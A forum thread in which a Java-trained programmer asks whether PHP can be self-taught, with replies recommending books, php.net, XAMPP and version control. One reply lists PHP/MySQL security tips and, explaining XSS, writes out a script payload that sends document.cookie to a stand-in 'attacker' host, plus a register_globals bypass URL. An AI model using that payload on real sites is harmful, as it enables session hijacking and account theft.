Self Taught PHP?

by 26 replies
30
I learned to program java at uni as part of my software engineering degree, but didn't really dip into the internet programming languages. Do you think its possible to learn PHP, especially with regards to their use for database interactions, from books?
#programming #php #taught
  • Hi Cary

    Yes - if you are committed then self taught is the way to go. I did a 3 day intensive course in PHP a few years ago and learned very little - spent a couple of weeks with my head in a couple of books and leared way more!

    There are actually quite a lot of good free online resources on PHP/MySQL so I would suggest you start there, and pick up a couple of books on Amazon.

    Depending on your previous programming experience and literacy you might want to start with something very basic like the For Dummies book, but if you want to dive right in I would receommend PHP and MySQL Web Development by Welling Thompson which will teach you just about everything you need to know!

    Also a good idea to install Xampp as a test server!

    Good luck...

    Bill
    • [1] reply
    • It is possible if you have interest in programming. I learnt PHP/MySQL from books and internet.

      Another great resource is the documentation on php.net. I usually reference it when I am writing php script.
  • Most of the PHP guys and gals I talk to have never went to college or a programming class...So...yeah it is definitely possible 8)

    Especially since PHP is a pretty straight forward and forgiving language...Not to strict hehe...truthfully there isn't anything really amazing about it. But I like it
  • My job description on the last company I worked for was Senior PHP Programmer and I am all self taught It is one of the easiest languages to learn IMHO and is arguably the only language that has the most number of free online resources/communities.
    • [1] reply
    • Mark, I think you are my new warrior idol! Like I said I am trained in other languages-java, C, C++ and mark ups too, so on that basis it seems this is doable.
      • [1] reply
  • Hey, if you know Java, then you can teach yourself PHP ... should be a problem. A programmer is a programmer ...
  • If you know how to program well in Java, you can go to work for Yahoo! working on Delicious (a PHP app) the first day you start the job. You'll have no problem picking up the minor syntax differences between most C-style languages... the rest is just looking up libraries and function names that you need with a quick Google search.
  • php.net is the only university you will need

    Good Luck!
    • [1] reply
    • Nothing is impossible dear,dont think that you cant study php think that you can, hard work make perfect. So all the best.
      ---------------------
      Jasmine

      Guaranteed ROI
  • i learn php from various tutorial sites and refer to the official php.net, it's definitely possible.
    • [1] reply
  • What VPI? Veterinarians Pet Insurance Co?

    Not to burst any bubbles, but any good American programmer is going to get an amazing job right now, even in this economy. In the next 5-10 years, about 1.5 million related jobs will be opening up, in large part due to retirements. How many people enrolled in computer science majors across the entire country? About 2500.

    See the supply and demand issue?

    Starting salary for a masters degree holder in computer science at Google... over $120,000 a year.

    I can't figure out why more people don't choose to study it.
    • [2] replies
    • Yes you can teach yourself PHP. Most of the people I know taught themselves PHP. For the web, it's practically the only thing you need. PHP.net is a good resource. They will also point you to installing XAMPPLite on your personal computer. It's an all-in-one install, it has Apache, MySQL, and a PHP server. I would also suggest that you try to load a PHP-based wiki so you can play around with the technology.

      In terms of a book, try to get "PHP and MySQL by Example," in as much as you're veering towards PHP and a database.

      Good luck.
    • You are correct Dan, just because you can learn things by yourself doesn't mean you shouldn't take formal education. Even though I learned PHP all by myself, I still have a degree in Computer Applications.
  • Interesting read here guys.

    How long do you think it will take for a programming noob to learn PHP on his own? I'm ready to spend 10-14 hours daily with my head in a good book...

    Btw, what book would you really recommend for a first time php programmer?
    • [1] reply
  • PHP is one of the easiest languages I know. Like all the others here I recommend php.net (of couse!) if you need some references. I never needed any books. The syntax is simple, and with every script you work on you learn more. Just make a start and step into it!
  • Banned
    [DELETED]
    • [1] reply
    • As all programmers know, it's easy to pick up new languages because you know what you're looking for.

      For non-programmers, they also need to learn the basics that apply to all programming languages, so the learning curve is steeper, but perfectly possible.

      With a bit of work, a non-programmer could easily learn those basics and put them to use on their site.

      For larger projects, my feeling is that a non-programmer would be best to outsource. Development of such systems needs previous experience and you can easily tie yourself in knots if you don't know what you're doing. Not because you don't have the ability, simply because you don't have experience. When programming larger projects, there are many traps you can fall into - and you need to have fallen into them to know that you need to avoid them!

      Cheers,

      Neil
  • Yes, it's much easier to learn a new language if you are a programmer. I've been a developer for 20 years, and knew Java inside out, so moving to php was quite straight forward.

    Actually I think it proved to be an advantage knowing an object orientated language, as I could apply the same concepts to php.

    With that said I outsource all development work these days. Honestly it's not worth my time to develop when I can outsource to a team in India or Pakistan who do a crack job, quicker and cheaper that I could.

    Cheers
    • [1] reply
    • PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

      I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess. I also learnt this while working with software development company


      1. Do not trust user input
      If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

      Here is an example:
      PHP Code:

      Now $post_id will be an integer for sure [IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]


      2. Validate user input on the server side
      If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
      JavaScript validation is only good to reduce the server load.


      3. Do not use user input directly in your SQL queries
      Use mysql_real_escape_string() to escape the user input.
      PHP.net recommends this function: (well a little different)
      PHP Code:

      Then you can use it like this:
      PHP Code:


      4. In your SQL queries don't put integers in quotes
      For example $id is suppose to be an integer:
      PHP Code:

      Note that, using intval() would fix the problem here.


      5. Always escape the output
      This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

      [code]
      <script>alert('');</script>
      [code]

      If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
      Code:
      <script>document.location.replace('http://attacker/?c='+document.cookie);</script>
      With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

      When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');


      6. When uploading files, validate the file mime type
      If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

      One quick way is to check the file extension:
      PHP Code:

      Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
      simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.


      7. If you are using 3rd party code libraries, be sure to keep them up to date
      If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.


      8. Give your database users just enough permissions
      If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.


      9. Do not allow hosts other than localhost to connect to your database
      If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.


      10. Your library file extensions should be PHP
      .inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding[IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]) and possibly find exploits or see your passwords etc.
      Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:
      Code:
      deny from all

      11. Have register globals off or define your variables first
      Register globals can be very dangerous, consider this bit of code:
      PHP Code:

      Now with register globals on an attacker can view this page like this and bypass your authentication:
      http://yourwebsite.com/admin.php?auth=1

      If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:
      PHP Code:

      Defining your variables first is a good programming practice that I suggest you follow anyway.



      12. Keep PHP itself up to date
      Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.


      13. Read security books
      Always find new books about PHP security to read; you can start by reading the 4th book in the PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.


      14. Contribute to this list
      Feel free to reply to this thread and add to this list, it will be helpful for everyone!

      Web application development
  • So if all of the above responses have not made it very very very clear to you, yes you can absolutely teach yourself PHP. In fact coming in with a programming background will make things even easier as you will not have to deal with the data structures and algorithms that most beginning developers have to struggle with.
  • I am a self-taught php programmer so if I can do it anyone can. While I still have a lot to learn for sure, I find that the knowledge compounds on itself.

    check out the links in my signature

    pete
    • [1] reply
    • If you are going to do programming... please, please, please ... be sure to add "version control" as one of the pieces that you need to add to your skillset.

      It will make your life sooooo much easier.

      I have done R&D Software Development for Silicon Valley Companies (Apple, Sun, OpenTV, Frame (now part of Adobe) -- etc.)

      EVERY ONE of them uses version control.

      It's not just for multi-person projects (though if there's more than one person involved, it's nearly absolutely necessary.)

      You can use subversion (it's free, and there are free subversion clients.)

      And the time to do it is when you are starting a project.

      The other piece of software I know that Don (zerofill) likes (so he'll have to give you the link) is a snippet library software -- also free (found somewhere on sourceforge.)

      A few years back I worked with the programmers of a VERY WELL KNOWN IMer -- and they kept fixing bugs and having the bugs "return" into the released code. Version control (properly used) prevents this from happening.

      Among other things, you can "label" releases of your code -- and, if you should need to, you can re-create them.

      Or create branches.

      Essential stuff for professional software development (imnsho).

      Live JoyFully!

      Judy Kettenhofen, Profit Strategist/Copywriter
      NextDay Copy
      (you should look at some of notes in my profile here on the WF)

Next Topics on Trending Feed

  • 30

    I learned to program java at uni as part of my software engineering degree, but didn't really dip into the internet programming languages. Do you think its possible to learn PHP, especially with regards to their use for database interactions, from books?